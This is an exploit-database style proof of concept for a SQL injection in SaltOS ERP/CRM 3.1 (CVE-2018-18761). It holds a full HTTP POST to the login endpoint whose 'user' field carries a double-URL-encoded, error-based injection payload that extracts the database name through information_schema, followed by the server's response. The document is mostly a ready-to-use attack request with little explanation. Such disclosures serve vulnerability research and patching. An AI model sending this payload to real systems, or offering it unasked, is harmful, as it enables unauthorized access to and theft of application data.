SaltOS Erp Crm 3.1 r8126 - SQL Injection

# Exploit Title: SaltOS Erp, Crm 3.1 r8126 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.saltos.org/
# Software Link: http://download.saltos.org/?app=saltos&format=xul&arch=win32
# Version: 3.1 r0 / 3.x
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18761

# POC: 
# 1)
# http://localhost/[PATH]/index.php
# 
POST /index.php HTTP/1.1
Host: http://localhost/[PATH]:57187
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/[PATH]:57187/index.php
Content-Length: 1318
Cookie: PHPSESSID=3lqcs1bhqitg8ufb7v9kot7c71; lang=en_US; __lang__=1543313377; style=blue; __style__=1543313377; iconset=silk; __iconset__=1543313377
DNT: 1
Connection: keep-alive
action=login&querystring=&user=%2531%2527%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2563%256f%2575%256e%2574%2528%252a%2529%252c%2563%256f%256e%2563%2561%2574%2528%2528%2573%2565%256c%2565%2563%2574%2528%2573%2565%256c%2565%2563%2574%2520%2563%256f%256e%2563%2561%2574%2528%2563%2561%2573%2574%2528%2564%2561%2574%2561%2562%2561%2573%2565%2528%2529%2520%2561%2573%2520%2563%2568%2561%2572%2529%252c%2530%2578%2537%2565%2529%2529%2520%2566%2572%256f%256d%2520%2569%256e%2566%256f%2572%256d%2561%2574%2569%256f%256e%255f%2573%2563%2568%2565%256d%2561%252e%2574%2561%2562%256c%2565%2573%2520%2577%2568%2565%2572%2565%2520%2574%2561%2562%256c%2565%255f%2573%2563%2568%2565%256d%2561%253d%2564%2561%2574%2561%2562%2561%2573%2565%2528%2529%2520%256c%2569%256d%2569%2574%2520%2530%252c%2531%2529%252c%2566%256c%256f%256f%2572%2528%2572%2561%256e%2564%2528%2530%2529%252a%2532%2529%2529%2578%2520%2566%2572%256f%256d%2520%2569%256e%2566%256f%2572%256d%2561%2574%2569%256f%256e%255f%2573%2563%2568%2565%256d%2561%252e%2574%2561%2562%256c%2565%2573%2520%2567%2572%256f%2575%2570%2520%2562%2579%2520%2578%2529%2561%2529%2520%2541%254e%2544%2520%2527%2545%2566%2565%2527%253d%2527%2545%2566%2565&pass=x&lang=en_US&style=blue&iconset=silk
HTTP/1.1 200 OK
Host: localhost/[PATH]:57187
Connection: close
X-Powered-By: PHP/5.4.15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=3lqcs1bhqitg8ufb7v9kot7c71; path=\
Set-Cookie: user=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=\
Set-Cookie: __user__=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=\
Set-Cookie: pass=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=\
Set-Cookie: __pass__=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=\
Set-Cookie: remember=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=\
Set-Cookie: __remember__=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=\
Set-Cookie: lang=en_US; expires=Tue, 27-Nov-2018 10:10:06 GMT; path=\
Set-Cookie: __lang__=1543313406; expires=Tue, 27-Nov-2018 10:10:06 GMT; path=\
Set-Cookie: style=blue; expires=Tue, 27-Nov-2018 10:10:06 GMT; path=\
Set-Cookie: __style__=1543313406; expires=Tue, 27-Nov-2018 10:10:06 GMT; path=\
Set-Cookie: iconset=silk; expires=Tue, 27-Nov-2018 10:10:06 GMT; path=\
Set-Cookie: __iconset__=1543313406; expires=Tue, 27-Nov-2018 10:10:06 GMT; path=\
Content-Type: text/html;charset=UTF-8